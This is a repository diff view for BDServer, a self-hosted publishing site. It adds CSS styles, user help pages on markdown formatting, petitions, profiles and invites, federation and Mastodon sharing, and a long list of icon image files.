max-width: 70%;
height: auto;
border-radius:14px;
}
/* Text areas, text input elements and buttons */
textarea, input, button {
border-width: 0px;
outline: none;
font-family:"Exo";
font-size:17;
}
textarea {
font-family:"Sans";
font-size:17;
}
button, .button, select {
padding: 1px 20;
margin: 8px 5px;
word-break: break-all;
display: inline-block;
background-color: var(--background-color);
border: 0px solid black;
color: var(--color-text);
font-weight: bold;
border-radius: 25px;
box-shadow: var(--box-shadow);
}
button, .button > img {background-color: rgba(0,0,0,0);}
button, .button > .icon {background-color: rgba(0,0,0,0);}
button, .button { line-height: 3 }
button:hover, input:hover, button:focus, input:focus, .button:hover, .button:focus, textarea:focus {
background-color: var(--color-important);
color: black;
border: 0px solid black;
outline: none;
box-shadow: var(--box-shadow-focus);
.icon {
-webkit-filter: invert(100%);
filter: invert(100%);
}
}
pre, .pre {
color: white !important;
}
/* This is used to make the list of articles automatically flow
as the window is resized */
.flexity {
display: flex;
flex-direction: row;
flex-wrap: wrap;
justify-content: center;
margin: 0;
padding: 0;
}
/* This puts the login button where it is on the page */
.login_fixed {
position: fixed;
right:10;
top:10;
}
/* These are used for tiny little text, usually notification number indiciators and stuff. */
sup, .sup {
background-color: var(--color-important);
color:black;
display: inline-block;
border-radius: 12px;
padding: 3px 6px 3px 6px;
margin: 5px;
}
sup:hover, .sup:hover {
color: var(--color-text);
text-decoration: none;
}
/* An element of a views per day graph */
.graph_line {
position: absolute;
background-color: var(--color-important);
height: 80%;
margin-top: 20%;
width: 30px;
border-radius: 25px;
}
.graph_line:hover {
background-color: var(--color-text);
}
/* Simple box used for everything on the website */
.dark_box {
font-family:"Sans";
background-color: var(--background-color);
backdrop-filter: var(--backdrop-filter);
padding: var(--padding);
margin: var(--margin);
border-radius: var(--border-radius);
box-shadow: var(--box-shadow);
}
/* Similar to .dark_box, but specifically for rendering big custom pages. */
.middle_box {
font-family:"Sans";
background-color: var(--background-color);
backdrop-filter: var(--backdrop-filter);
padding: var(--padding);
margin-left: auto;
margin-right: auto;
margin-top: 8px;
margin-bottom: 8px;
border-radius: var(--border-radius);
box-shadow: var(--box-shadow);
max-width: 1061px;
}
/* Used for article previews */
.article_box {
font-family:"Sans";
padding: 5px 20;
margin: 8px 5px;
max-width:300px;
vertical-align: top;
word-break: break-word;
display: inline-block;
background-color: var(--background-color);
backdrop-filter: var(--backdrop-filter);
color: var(--color-text);
border-radius: 25px;
box-shadow: var(--box-shadow);}
/* Used to render quotes of other people */
.quote {
background-color: var(--color-background);
backdrop-filter: var(--backdrop-filter);
padding: var(--padding);
margin: var(--margin);
border-radius: var(--border-radius);
box-shadow: var(--box-shadow);
}
/* Similar to .article_preview, was used to render Mastodon posts */
.toot {
padding: 5px 20;
margin: 8px 5px;
word-wrap: break-word;
overflow-wrap: break-word;
display: inline-block;
background-color: var(--background-color);
backdrop-filter: var(--backdrop-filter);
color: var(--color-text);
padding: var(--padding);
margin: var(--margin);
border-radius: var(--border-radius);
box-shadow: var(--box-shadow);
}
.article_box:hover, .dark_box:hover, .toot:hover, .quote:hover {
box-shadow: var(--box-shadow-focus);
}
/*
If a screen is at least 950 pixels wide, we do some more things.
*/
@media screen and (min-width: 950px) {
.middle_section_article {
position: absolute;
left:20%;
top:auto;
width:39%;
}
.checklist_section_article {
position: absolute;
left:60%;
top:auto;
width:20%;
}
}
/* prgoress bar theme */
.back_progress {background-color: #101010;
width: 100%;
height: 14;
border-radius: 7px}
.front_progress {background-color: var(--color-important);
height: 14;
border-radius:7px}
}
BDServer/fcdata.json
+6139
View File
File diff suppressed because it is too large Load Diff
BDServer/help/markdown.md
+160
View File
@@ -0,0 +1,160 @@
# Markdown Text Formatting
This website is using a modified version of [markdown](https://en.wikipedia.org/wiki/Markdown) for posts and comments. Some regular features are not supported, while other features are added.
Markdown in useful to add style to the text.
For example here is a text that I will write in the editor:
```
# Header
Some normal text. *Some italic text.* More normal text.
## Second level header
Text with some **bold characters**. A [link to wikipedia.](https://wikipedia.org)
A separation line:
___________________________
And an image:
![Which even has an alt text](/icon/image)
or I can even nest an image into a link:
[![icon](/icon/link)](https://wikipedia.org)
> And of course a quote.
```
And this is what this text will look like in the page:
# Header
Some normal text. *Some italic text.* More normal text.
## Second level header
Text with some **bold characters**. A [link to wikipedia.](https://wikipedia.org)
A separation line:
___________________________
And an image:
![Which even contains an alt text](/icon/image)
or I can even nest an image into a link:
[![icon](/icon/link)](https://wikipedia.org)
> And of course a quote.
# Comments
Additionally it supports other things as well. Such as quoting a user:
```
@blenderdumbass
```
Adding a `@` symbol in front of a username will make a link to the user. And writing it in a comment will also notify the user.
```
c:0
```
Comments have codes to them such as `c:0` or `c:1` or other. You can make a blank line with a reference to a comment like this.
# Source code
To do little code snippets you can use the `&#96;` on either side. Like this:
```
To do something to may want to run the `HelloWorld()` function.
```
Which will look like this:
_____
To do something to may want to run the `HelloWorld()` function.
_____
For multi-line code you can use `&#96;&#96;&#96;` on either side. Make sure they are the only thing in the line:
```
Here is some code in python:
&#96;&#96;&#96;
def HelloWorld():
print("Hello World")
HelloWorld()
&#96;&#96;&#96;
```
It will render like this:
____
Here is some code in python:
```
def HelloWorld():
print("Hello World")
HelloWorld()
```
____
For more complex codes like when you want to show the `&#96;` character itself, please use the [HTML escape codes](https://en.wikipedia.org/wiki/List_of_XML_and_HTML_character_entity_references#List_of_character_entity_references_in_HTML).
# Media Files
You can link a video or an audio file like this:
```
Big Buck Bunny:
![video](https://upload.wikimedia.org/wikipedia/commons/transcoded/c/c0/Big_Buck_Bunny_4K.webm/Big_Buck_Bunny_4K.webm.720p.vp9.webm)
The Free Software Song:
![audio](https://www.gnu.org/music/FreeSWSong.ogg)
Moria's Race:
![peertube-video](https://peer.madiator.cloud/w/vmPmME5XPWNc8uXSMe1xCk)
```
Which will look like this:
_____
Big Buck Bunny:
![video](https://upload.wikimedia.org/wikipedia/commons/transcoded/c/c0/Big_Buck_Bunny_4K.webm/Big_Buck_Bunny_4K.webm.720p.vp9.webm)
The Free Software Song:
![audio](https://www.gnu.org/music/FreeSWSong.ogg)
Moria's Race:
![peertube-video](https://peer.madiator.cloud/w/vmPmME5XPWNc8uXSMe1xCk)
# Icon Links
For user profiles it is useful to link many different social medias. And for that you can use icon links. Like so:
```
![mastodon](http://joinmastodon.org) ![peertube](https://joinpeertube.org)
```
Which will look like this:
____
![mastodon](http://joinmastodon.org) ![peertube](https://joinpeertube.org)
___
This uses the full list of icons that come with the software. The full list is available to see [here](https://codeberg.org/blenderdumbass/BDServer/src/branch/main/icons).
BDServer/help/petition.md
+19
View File
@@ -0,0 +1,19 @@
# Petitions
Petitions are useful to tell people that something is important. To engage people a bit more than surface level posts. All petitions have a certain goal that must be reached. And some way for people to "sign", as in, to help that goal to get reached.
Petitions will show a progress bar, telling the user how much of the goal is reached and how much is yet to be reached.
Often petitions will have some outcome when the goal is reached. Say a publication by the website's author will be published.
There are a few types of petitions:
## Regular Petition
With regular petitions a signature is recorded by email. The person who wants to sign it puts an email address into an email field and then is asked to check the email to confirm that the email belongs to the person. In this case, one email address equals one signature.
## Statistical Petitions
A Statistical Petition is a petition where a certain statistic is used for the amount of signatures. For example, a statistic could be [Mastodon](https://joinmastodon.org/) followers of a specific account. And so to sign that petition, one needs to follow that account.
Often those kinds of petitions are made with [Fediverse](https://en.wikipedia.org/wiki/Fediverse) Social Network statistics. That means that any one account on the Fediverse can effect statistics on other accounts on the Fediverse. Or in other words: If you have an account on Mastodon and the petition asks you to subscribe to [PeerTube](https://joinpeertube.org/), you can do that from your Mastodon account.
BDServer/help/profile_editor.md
+35
View File
@@ -0,0 +1,35 @@
# Profile Editor
In the profile editor you edit your public profile. Some of the things you add here will not be visible if the server software assumes that the connection is coming from a bot. So there is some protection to your email and other contact information if you add one here.
You can add a bio, which is a short explanation into who you are. The bio supports [markdown](/help?topic=markdown) formatting. This bio should not be longer than 10 thousand characters.
For fediverse and matrix accounts, the server will try to convert your link into a handle. In case of Mastodon, it assumes it is actually Mastodon and not Pleroma or Akkoma or something else. Therefor it might break links if you put an incompatible link into the handle.
# Notifications
On the right side of the page, you can find notifications that are personal to your profile.
# Invites
BDServer uses invites as a method to limit necessity of moderation. The way it works is very simple, from your settings page you can invite a person. You type that person's name and click "Invite". It will generate an invite code that this person now can use to register on the website.
Additionally it will also generate an invitation link, where no invitation code is necessary.
# For Administrators
If you are an administrator of the website ( meaning your rank is 0 ) you will see additional settings in your settings page.
## Federation
As an administrator you can setup Federation with other instances of BDServer directly from your settings. This means you can add / remove / ban other websites from interacting with your website. And if you so desire you can enable automatic federation with any other website that would want to federate with yours.
## Mastodon verification checkbox
Mastodon has a feature that looks like the Ex-Twitter's checkbox, for verified users. Mastodon does it by cross referencing a personal website. BDServer knows what HTML tags to add to make it work. For you as an admin you need to do the following steps:
- Add this website as your website in your mastodon. Go to Preferences > Public Profile > Extra fields. And add this website into one of those fields.
- Add this mastodon account into mastodon field in the setting here on this website.
- Run the `python3 run.py --set --account` command in the BDServer directory on your server. To set this account as the "Main Account". Which will tell the server to take the mastodon data from this account and render a link to it in the pages, the way that is required for the verification step of Mastodon to work.
BDServer/help/subscribe_share.md
+30
View File
@@ -0,0 +1,30 @@
# Subscribe and Share
Under every article you can see two buttons: "Subscribe RSS" and "Share on Mastodon". This page will give you some information about what those do.
# Subscribe RSS
[RSS](https://en.wikipedia.org/wiki/RSS) is a tool allowing people to subscribe to things on the internet without making accounts everywhere. There are various RSS Feed Readers that you can install that can get updates for you about new publications on websites.
On Mozilla [Firefox](https://firefox.com) there is a pretty neat extension called [Easy RSS](https://addons.mozilla.org/en-US/firefox/addon/easy-rss/) by Komodo.
If you don't want to use a browser extension, you can use something like [Gnome Feeds](https://gfeeds.gabmus.org/) or [Feed Reader](https://github.com/jangernert/FeedReader) instead.
For those that like everything to be in the terminal, you can use something like [Newsboat](https://newsboat.org/).
Usually providing a feed reader with the URL of the website is enough. But sometimes you may need to specify a direct path to the RSS itself. Clicking on "Subscribe RSS" will give you two direct RSS links:
The first one listing publications of the author of the post.
The second listing all publications on the website, from all authors.
# Share on Mastodon
[Mastodon](https://joinmastodon.org/) is a [Fediverse](https://en.wikipedia.org/wiki/Fediverse) platform designed to look and feel similarly to something like Ex-Twitter. The website allows you to share links from it directly to Mastodon, but before you can do that it will ask you what instance you are using.
If you don't have an account on Mastodon, you can make one by going to [joinmastodon.org](https://joinmastodon.org/), where instances will be suggested to you based on various things.
Mastodon, unlike conventional social media platforms, is not operated entirely by one company. But rather by many small communities that talk to each other all the time. This is called "Fediverse". So there is no single Mastodon website. You have many different ones called "Instances".
For example there is [mastodon.social](https://mastodon.social) and [mastodon.online](https://mastodon.online) and [mstdn.social](https://mstdn.social) and many, many others. Because of that, the website has no idea which of them is the one you have. So it kindly asks you to tell the instance before you press the share button.
When you do press the share button, it will redirect you to a page on your Mastodon instance, where you will be presented with a suggestion of how to word the post. You can edit that if you want to and press "Post" to finish sharing.
BDServer/icons/agpl3.png
BIN
View File
Binary file not shown.
Side by Side

After

Width:  |  Height:  |  Size: 5.0 KiB

BDServer/icons/analytics.png
BIN
View File
Binary file not shown.
Side by Side

After

Width:  |  Height:  |  Size: 968 B

BDServer/icons/android.png
BIN
View File
Binary file not shown.
Side by Side

After

Width:  |  Height:  |  Size: 1.4 KiB

BDServer/icons/apple.png
BIN
View File
Binary file not shown.
Side by Side

After

Width:  |  Height:  |  Size: 1.7 KiB

BDServer/icons/asset_new.png
BIN
View File
Binary file not shown.
Side by Side

After

Width:  |  Height:  |  Size: 895 B

BDServer/icons/blender.png
BIN
View File
Binary file not shown.
Side by Side

After

Width:  |  Height:  |  Size: 1.2 KiB

BDServer/icons/blenderartists.png
BIN
View File
Binary file not shown.
Side by Side

After

Width:  |  Height:  |  Size: 2.5 KiB

BDServer/icons/bug.png
BIN
View File
Binary file not shown.
Side by Side

After

Width:  |  Height:  |  Size: 829 B

BDServer/icons/call.png
BIN
View File
Binary file not shown.
Side by Side

After

Width:  |  Height:  |  Size: 747 B

BDServer/icons/cancel.png
BIN
View File
Binary file not shown.
Side by Side

After

Width:  |  Height:  |  Size: 1.2 KiB

BDServer/icons/cc-by-sa.png
BIN
View File
Binary file not shown.
Side by Side

After

Width:  |  Height:  |  Size: 5.7 KiB

BDServer/icons/cc-by.png
BIN
View File
Binary file not shown.
Side by Side

After

Width:  |  Height:  |  Size: 4.2 KiB

BDServer/icons/cc0.png
BIN
View File
Binary file not shown.
Side by Side

After

Width:  |  Height:  |  Size: 4.7 KiB

BDServer/icons/checked.png
BIN
View File
Binary file not shown.
Side by Side

After

Width:  |  Height:  |  Size: 738 B

BDServer/icons/checklist.png
BIN
View File
Binary file not shown.
Side by Side

After

Width:  |  Height:  |  Size: 664 B

BDServer/icons/checklist_new.png
BIN
View File
Binary file not shown.
Side by Side

After

Width:  |  Height:  |  Size: 845 B

BDServer/icons/chr.png
BIN
View File
Binary file not shown.
Side by Side

After

Width:  |  Height:  |  Size: 1.0 KiB

BDServer/icons/chromium.png
BIN
View File
Binary file not shown.
Side by Side

After

Width:  |  Height:  |  Size: 1.9 KiB

BDServer/icons/clean.png
BIN
View File
Binary file not shown.
Side by Side

After

Width:  |  Height:  |  Size: 698 B

BDServer/icons/closed.png
BIN
View File
Binary file not shown.
Side by Side

After

Width:  |  Height:  |  Size: 660 B

BDServer/icons/codeberg.png
BIN
View File
Binary file not shown.
Side by Side

After

Width:  |  Height:  |  Size: 1.3 KiB

BDServer/icons/collection.png
BIN
View File
Binary file not shown.
Side by Side

After

Width:  |  Height:  |  Size: 647 B

BDServer/icons/configure_file.png
BIN
View File
Binary file not shown.
Side by Side

After

Width:  |  Height:  |  Size: 1.0 KiB

BDServer/icons/copy_file.png
BIN
View File
Binary file not shown.
Side by Side

After

Width:  |  Height:  |  Size: 938 B

BDServer/icons/discord.png
BIN
View File
Binary file not shown.
Side by Side

After

Width:  |  Height:  |  Size: 4.9 KiB

BDServer/icons/download.png
BIN
View File
Binary file not shown.
Side by Side

After

Width:  |  Height:  |  Size: 4.3 KiB

BDServer/icons/edge.png
BIN
View File
Binary file not shown.
Side by Side

After

Width:  |  Height:  |  Size: 2.5 KiB

BDServer/icons/edit.png
BIN
View File
Binary file not shown.
Side by Side

After

Width:  |  Height:  |  Size: 792 B

BDServer/icons/edit_mode.png
BIN
View File
Binary file not shown.
Side by Side

After

Width:  |  Height:  |  Size: 718 B

BDServer/icons/element.png
BIN
View File
Binary file not shown.
Side by Side

After

Width:  |  Height:  |  Size: 2.3 KiB

BDServer/icons/email.png
BIN
View File
Binary file not shown.
Side by Side

After

Width:  |  Height:  |  Size: 1.1 KiB

BDServer/icons/event.png
BIN
View File
Binary file not shown.
Side by Side

After

Width:  |  Height:  |  Size: 678 B

BDServer/icons/export.png
BIN
View File
Binary file not shown.
Side by Side

After

Width:  |  Height:  |  Size: 729 B

BDServer/icons/fc.png
BIN
View File
Binary file not shown.
Side by Side

After

Width:  |  Height:  |  Size: 2.9 KiB

BDServer/icons/file.png
BIN
View File
Binary file not shown.
Side by Side

After

Width:  |  Height:  |  Size: 658 B

BDServer/icons/file_link.png
BIN
View File
Binary file not shown.
Side by Side

After

Width:  |  Height:  |  Size: 1.0 KiB

BDServer/icons/firefox.png
BIN
View File
Binary file not shown.
Side by Side

After

Width:  |  Height:  |  Size: 2.9 KiB

BDServer/icons/folder.png
BIN
View File
Binary file not shown.
Side by Side

After

Width:  |  Height:  |  Size: 613 B

BDServer/icons/font.png
BIN
View File
Binary file not shown.
Side by Side

After

Width:  |  Height:  |  Size: 979 B

BDServer/icons/forgejo.png
BIN
View File
Binary file not shown.
Side by Side

After

Width:  |  Height:  |  Size: 1.6 KiB

BDServer/icons/frase.png
BIN
View File
Binary file not shown.
Side by Side

After

Width:  |  Height:  |  Size: 737 B

BDServer/icons/frase_new.png
BIN
View File
Binary file not shown.
Side by Side

After

Width:  |  Height:  |  Size: 982 B

BDServer/icons/github.png
BIN
View File
Binary file not shown.
Side by Side

After

Width:  |  Height:  |  Size: 1.2 KiB

BDServer/icons/gitlab.png
BIN
View File
Binary file not shown.
Side by Side

After

Width:  |  Height:  |  Size: 1.4 KiB

BDServer/icons/gnu_linux.png
BIN
View File
Binary file not shown.
Side by Side

After

Width:  |  Height:  |  Size: 3.9 KiB

BDServer/icons/gpl3-or-later.png
BIN
View File
Binary file not shown.
Side by Side

After

Width:  |  Height:  |  Size: 2.4 KiB

BDServer/icons/gpl3.png
BIN
View File
Binary file not shown.
Side by Side

After

Width:  |  Height:  |  Size: 3.4 KiB

BDServer/icons/hashtag.png
BIN
View File
Binary file not shown.
Side by Side

After

Width:  |  Height:  |  Size: 1.1 KiB

BDServer/icons/heart.png
BIN
View File
Binary file not shown.
Side by Side

After

Width:  |  Height:  |  Size: 2.0 KiB

BDServer/icons/history.png
BIN
View File
Binary file not shown.
Side by Side

After

Width:  |  Height:  |  Size: 987 B

BDServer/icons/idea.png
BIN
View File
Binary file not shown.
Side by Side

After

Width:  |  Height:  |  Size: 1.1 KiB

BDServer/icons/image.png
BIN
View File
Binary file not shown.
Side by Side

After

Width:  |  Height:  |  Size: 858 B

BDServer/icons/image_link.png
BIN
View File
Binary file not shown.
Side by Side

After

Width:  |  Height:  |  Size: 1.2 KiB

BDServer/icons/image_new.png
BIN
View File
Binary file not shown.
Side by Side

After

Width:  |  Height:  |  Size: 1.0 KiB

BDServer/icons/imdb.png
BIN
View File
Binary file not shown.
Side by Side

After

Width:  |  Height:  |  Size: 1.0 KiB

BDServer/icons/internet.png
BIN
View File
Binary file not shown.
Side by Side

After

Width:  |  Height:  |  Size: 1.5 KiB

BDServer/icons/internetarchive.png
BIN
View File
Binary file not shown.
Side by Side

After

Width:  |  Height:  |  Size: 2.7 KiB

BDServer/icons/invidious.png
BIN
View File
Binary file not shown.
Side by Side

After

Width:  |  Height:  |  Size: 1.9 KiB

BDServer/icons/jami.png
BIN
View File
Binary file not shown.
Side by Side

After

Width:  |  Height:  |  Size: 3.0 KiB

BDServer/icons/lbc.png
BIN
View File
Binary file not shown.
Side by Side

After

Width:  |  Height:  |  Size: 2.0 KiB

BDServer/icons/lbry.png
BIN
View File
Binary file not shown.
Side by Side

After

Width:  |  Height:  |  Size: 1.3 KiB

BDServer/icons/left.png
BIN
View File
Binary file not shown.
Side by Side

After

Width:  |  Height:  |  Size: 723 B

BDServer/icons/lemmy.png
BIN
View File
Binary file not shown.
Side by Side

After

Width:  |  Height:  |  Size: 2.7 KiB

BDServer/icons/lgpl3.png
BIN
View File
Binary file not shown.
Side by Side

After

Width:  |  Height:  |  Size: 3.4 KiB

BDServer/icons/librapay.png
BIN
View File
Binary file not shown.
Side by Side

After

Width:  |  Height:  |  Size: 1.5 KiB

BDServer/icons/linear.png
BIN
View File
Binary file not shown.
Side by Side

After

Width:  |  Height:  |  Size: 769 B

BDServer/icons/link.png
BIN
View File
Binary file not shown.
Side by Side

After

Width:  |  Height:  |  Size: 958 B

BDServer/icons/link_configure.png
BIN
View File
Binary file not shown.
Side by Side

After

Width:  |  Height:  |  Size: 1.3 KiB

BDServer/icons/loc.png
BIN
View File
Binary file not shown.
Side by Side

After

Width:  |  Height:  |  Size: 1.2 KiB

BDServer/icons/lock.png
BIN
View File
Binary file not shown.
Side by Side

After

Width:  |  Height:  |  Size: 754 B

BDServer/icons/markdown.png
BIN
View File
Binary file not shown.
Side by Side

After

Width:  |  Height:  |  Size: 597 B

BDServer/icons/mastodon.png
BIN
View File
Binary file not shown.
Side by Side

After

Width:  |  Height:  |  Size: 1.5 KiB

BDServer/icons/mesh.png
BIN
View File
Binary file not shown.
Side by Side

After

Width:  |  Height:  |  Size: 768 B

BDServer/icons/moriasrace.png
BIN
View File
Binary file not shown.
Side by Side

After

Width:  |  Height:  |  Size: 2.0 KiB

BDServer/icons/multiuser.png
BIN
View File
Binary file not shown.
Side by Side

After

Width:  |  Height:  |  Size: 1.0 KiB

BDServer/icons/mus.png
BIN
View File
Binary file not shown.
Side by Side

After

Width:  |  Height:  |  Size: 1.1 KiB

BDServer/icons/new.png
BIN
View File
Binary file not shown.
Side by Side

After

Width:  |  Height:  |  Size: 860 B

BDServer/icons/new_file.png
BIN
View File
Binary file not shown.
Side by Side

After

Width:  |  Height:  |  Size: 901 B

BDServer/icons/node.png
BIN
View File
Binary file not shown.
Side by Side

After

Width:  |  Height:  |  Size: 804 B

BDServer/icons/notabug.png
BIN
View File
Binary file not shown.
Side by Side

After

Width:  |  Height:  |  Size: 1.8 KiB

BDServer/icons/obj.png
BIN
View File
Binary file not shown.
Side by Side

After

Width:  |  Height:  |  Size: 676 B

BDServer/icons/obj_link.png
BIN
View File
Binary file not shown.
Side by Side

After

Width:  |  Height:  |  Size: 1005 B

BDServer/icons/odysee.png
BIN
View File
Binary file not shown.
Side by Side

After

Width:  |  Height:  |  Size: 3.0 KiB

Some files were not shown because too many files have changed in this diff Show More